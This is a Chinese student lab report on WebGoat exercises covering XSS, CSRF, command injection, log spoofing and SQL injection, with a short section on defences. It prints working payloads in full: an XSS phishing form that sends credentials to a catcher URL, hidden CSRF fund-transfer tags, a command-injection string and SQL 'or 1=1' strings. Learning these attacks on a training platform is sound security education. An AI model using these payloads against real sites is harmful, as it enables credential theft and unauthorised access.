2018-2019 20165226 Exp9 Web安全基礎
目錄
一、實驗內容說明及基礎問題回答
二、實驗過程
Webgoat準備
- XSS攻擊
- ① Phishing with XSS 跨站腳本釣魚攻擊
- ② Stored XSS Attacks 存儲型XSS攻擊
- ③ Reflected XSS Attacks 反射型XSS攻擊
- CSRF攻擊
- ① Cross Site Request Forgery(CSRF)
- ② CSRF Prompt By-Pass
- SQL注入攻擊
- ① Command Injection 命令注入
- ② Numeric SQL Injection
- ③ Log Spoofing 日志欺騙
- ④ String SQL Injection 字符串型注入
- ⑤ LAB:SQL Injection
三、問題與思考
四、實驗總結
一、實驗內容說明及基礎問題回答
1、實驗內容
本實踐的目標理解常用網絡攻擊技術的基本原理。Webgoat實踐下相關實驗。
2、基礎問題回答
(1)SQL注入攻擊原理,如何防御
- 原理:
- 通過在用戶名、密碼登輸入框中輸入一些',--,#等特殊字符,實現引號閉合、注釋部分SQL語句,利用永真式實現登錄、顯示信息等目的。其實就是輸入框中的字符提交到后臺的數據庫中會與SQL語句組合拼接,針對程序員編程時的疏忽,通過SQL語句,實現無帳號登錄,甚至篡改數據庫。
- 防御辦法:
- 使用正則表達式過濾傳入的參數;檢查是否包函非法字符,在后臺控制輸入的長度或者禁止用戶輸入一些特殊符號,例如 -- 、' 等
- 摒棄動態SQL語句,而改用用戶存儲過程來訪問和操作數據。這需要在建立數據庫后,仔細考慮Web程序需要對數據庫進行的各種操作,并為之建立存儲過程,然后讓Web程序調用存儲過程來完成數據庫操作。
(2)XSS攻擊的原理,如何防御
- 原理:
- 攻擊者往Web頁面里插入惡意html標簽或者javascript代碼,當用戶瀏覽該頁或者進行某些操作時,攻擊者利用用戶對原網站的信任,誘騙用戶或瀏覽器執行一些不安全的操作或者向其它網站提交用戶的私密信息。
- 防御辦法:
- 當惡意代碼值被作為某一標簽的內容顯示:在不需要html輸入的地方對html 標簽及一些特殊字符( ” < > & 等等 )做過濾,將其轉化為不被瀏覽器解釋執行的字符。
- 當惡意代碼被作為某一標簽的屬性顯示,通過用 “將屬性截斷來開辟新的屬性或惡意方法:屬性本身存在的 單引號和雙引號都需要進行轉碼;對用戶輸入的html 標簽及標簽屬性做白名單過濾,也可以對一些存在漏洞的標簽和屬性進行專門過濾。
(3)CSRF攻擊原理,如何防御
- 原理:
- CSRF就是冒名登錄。跨站請求偽造的核心本質是竊取用戶的Session,或者說Cookie,因為目前主流情況> Session都是存在Cookie中.攻擊者并不關心被害者具體帳號和密碼,因為一旦用戶進行了登錄,Session就是用戶的唯一憑證,只要攻擊者能夠得到Session,就可以偽裝成被害者進入服務器.
- 主要是當訪問網站A時輸入用戶名和密碼,在通過驗證后,網站A產生Cookie信息并返回,此時登錄網站A成功,可正常發送請求到網站A。在未退出網站A前,若訪問另一個網站B,網站B可返回一些攻擊性代碼并請求訪問網站A;因此在網站B的請求下,向網站A發出請求。但網站A不知道該請求惡意的,因此還是會執行該惡意代碼
- 防御辦法:
- 通過 referer、token 或者 驗證碼 來檢測用戶提交。
- 盡量不要在頁面的鏈接中暴露用戶隱私信息。
- 對于用戶修改刪除等操作最好都使用post 操作 。
- 避免全站通用的cookie,嚴格設置cookie的域。
返回目錄
二、實驗過程
WebGoat準備
介紹:WebGoat是OWASP組織研制出的用于進行web漏洞實驗的應用平臺,用來說明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操作隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML注釋等等。WebGoat提供了一系列web安全學習的教程,某些課程也給出了視頻演示,指導用戶利用這些漏洞進行攻擊。
下載webgoat-container-7.0.1-war-exec.jar文件
在含有該文件的目錄下使用命令
java -jar webgoat-container-7.0.1-war-exec.jar
運行Webgoat
,出現信息:Starting ProtocolHandler ["http-bio-8080"]
說明開啟成功,可以看到占用8080端口,實驗過程中不能關閉終端
- 在瀏覽器中輸入
http://localhost:8080/WebGoat
進入WebGoat
登錄界面,直接用默認用戶名密碼登錄即可
XSS攻擊
跨站腳本攻擊是通過HTML注入劫持用戶的瀏覽器,任意構造用戶當前瀏覽的HTML內容,可以模擬用戶當前的操作。這里實驗的是一種獲取用戶名和密碼的攻擊。
① Phishing with XSS 跨站腳本釣魚攻擊
- 在webgoat找到
Cross-Site Scripting (xss)
攻擊打開第一個——Phishing with XSS
- 將下面這段代碼輸入到
Search:
輸入框中,點擊search
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.???ˉ??????????ˉ??????????ˉ??????????ˉ??????????ˉ??????????ˉ??????? Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
結果會出現代碼中所指定的黃、橙、灰三塊div,并在下方出現了用于欺騙用戶的提示語“This feature requires account login:”和用戶名、密碼輸入框。
- 如果真的在登錄框中輸入用戶名、密碼,eg:
20165226 123456
,點擊登錄后,會像代碼中alert
提示的,顯示被竊取的用戶名和密碼。
② Stored XSS Attacks 存儲型XSS攻擊
存儲型XSS的攻擊基本流程:
1、比如在某個論壇提供留言板功能,黑客在留言板內插入惡意的html或者Javascript代碼,并且提交。
2、網站后臺程序將留言內容存儲在數據中
3、然后一個用戶也訪問這個論壇,并刷新了留言板,這時網站后臺從數據庫中讀取了之前黑客的留言內容,并且直接插入在html頁面中,這就可能導致:黑客留言的腳本本身應該作為內容顯示在留言板的,但此時黑客的留言腳本被瀏覽器解釋執行。
黑客的腳本可以用來做如下所述的攻擊:
1.通過javascript獲取用戶的cookie,根據這個cookie竊取用戶信息
2.重定向網站到一個釣魚網站
3.重新更改頁面內容,假裝讓客戶輸入用戶名,密碼,然后提交到黑客的服務器
- 打開
Cross-Site Scripting (xss)
攻擊中的第二個:Stored XSS Attacks
- 在
Message
框中輸入上面那段代碼,并點擊submit
,Title
隨便輸入 提交后,下方
Message List
中會新增剛輸入的Tile
名字的鏈接,點擊鏈接。可以看到我們的
html
已經注入成功,messege
部分顯示的是三色框,在下方用戶名密碼處輸入,eg:20165226 123456
,點擊提交后,被成功獲取用戶名和密碼:
③ Reflected XSS Attacks 反射型XSS攻擊
反射型XSS:
我們在訪問一個網頁的時候,在URL后面加上參數,服務器根據請求的參數值構造不同的HTML返回。
value可能出現在返回的HTML(可能是JS,HTML某元素的內容或者屬性)中,
如果將value改成可以在瀏覽器中被解釋執行的東西,就形成了反射型XSS.
別人可能修改這個value值,然后將這個惡意的URL發送給你,當URL地址被打開時,
特有的惡意代碼參數就會被HTML解析執行.
它的特點是非持久化,必須用戶點擊帶有特定參數的鏈接才能引起。
存儲型XSS與反射型XSS的區別:
①存儲型XSS,持久化,代碼是存儲在服務器中的,如在個人信息或發表文章等地方,加入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie等。
②反射型XSS,非持久化,需要欺騙用戶自己去點擊鏈接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現在搜索頁面。
打開xss的第三個攻擊Reflected XSS Attacks
在“Enter your three digit access code:”中輸入點擊Purchase,成功顯示警告框,內容為我們script腳本指定的內容:
CSRF攻擊
跨站請求偽造,盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防范的資源也相當稀少)和難以防范,所以被認為比XSS更具危險性。
① Cross Site Request Forgery(CSRF)
- 打開Cross-Site Scripting (xss)攻擊中的第四個:Cross Site Request Forgery(CSRF)
查看頁面下方Parameters中的src和menu值,分別為293和900
- 在
message
框中輸入
<img src="http://localhost:8080/WebGoat/attack?Screen=293&menu=900&transferFunds=5000" width="1" height="1" />
以圖片的的形式將URL放進Message
框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit
提交
- 這里src值、menu值要根據上一步查看的結果修改,轉賬數額隨便輸入,eg:5000
- 寬高設置成1像素的目的是隱藏該圖片
- 提交后,在Message List中生成以Title命名的鏈接(消息)。點擊該消息,當前頁面就會下載這個消息并顯示出來,轉走用戶的5000元,從而達到CSRF攻擊的目的。
② CSRF Prompt By-Pass
- 打開
Cross-Site Scripting (xss)
攻擊中的第五個:CSRF Prompt By-Pass
同攻擊4,查看頁面下側
Parameters
中的src
和menu
值(323和900)- 在title框中輸入學號,
message
框中輸入代碼
<iframe src="attack?Screen=323&menu=900&transferFunds=6000"> </iframe>
<iframe src="attack?Screen=323&menu=900&transferFunds=CONFIRM"> </iframe>
- 在Message List中生成以Title命名的鏈接"20165226"。
- 點擊進入后,如圖攻擊成功:
SQL注入攻擊
SQL注入攻擊是黑客對數據庫進行攻擊的常用手段之一。隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由于程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
① Command Injection 命令注入
右鍵點擊頁面,選擇
inspect Element
審查網頁元素對源代碼進行修改,在復選框中任意一欄的代碼后添加"& netstat -an & ipconfig"
點擊
view
,能看到網絡端口使用情況和 IP 地址,攻擊成功
② Numeric SQL Injection
顯示所有城市的天氣情況
右鍵點擊頁面,選擇
inspect Element
審查網頁元素對源代碼進行修改,在選中的城市編號Value
值中添加or 1=1
攻擊成功,顯示所有城市的天氣情況
③ Log Spoofing 日志欺騙
通過查看下方灰色區域,我們分析它代表在 Web 服務器的日志中的記錄的內容。
目的:使用戶名為“admin” 的用戶在日志中顯示“成功登錄”。
方法:通過在日志文件中插入腳本實現。
在username中填入 5226%0d%0aLogin Succeeded for username: admin`,利用回車(0D%)和換行符(%0A)讓其在日志中兩行顯示
點擊
Login
,可見5226在Login Fail
那行顯示,我們自己添加的語句在下一行顯示可以向日志文件中添加惡意腳本,腳本的返回信息管理員能夠通過瀏覽器看到。用戶名輸入
admin <script>alert(document.cookie)</script>
,管理員可以看到彈窗的cookie信息。
④ String SQL Injection 字符串型注入
目的:嘗試通過 SQL 注入將所有信用卡信息顯示出來。
方法:基于以下查詢語句構造自己的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
。
- 選擇
Injection Flaws
中的String SQL Injection
- 輸入查詢的用戶名
lxs' or 1=1--
如此lxs
和1=1
都成了查詢的條件,而1=1
是恒等式,這樣就能select表里面的所有數據。
⑤ LAB:SQL Injection
將密碼長度maxlength改為
200
在密碼框輸入
' or 1=1 --
返回目錄
三、問題與思考
下載jar包后運行中主目錄中沒有所需的攻擊列表,卸載重裝,然后重啟了n次還是這個界面,無解
- 分析:電腦jdk版本和 這個jar的jdk版本不同
解決方案:換了虛擬機,然后OK
返回目錄
四、實驗總結
通過本次實驗學習了使用WebGoat工具進行SQL注入攻擊、XSS攻擊、CSRF攻擊,主要攻擊方法便是利用語句漏洞。總體挺有意思,對SQL語句格式有了更深掌握。
返回目錄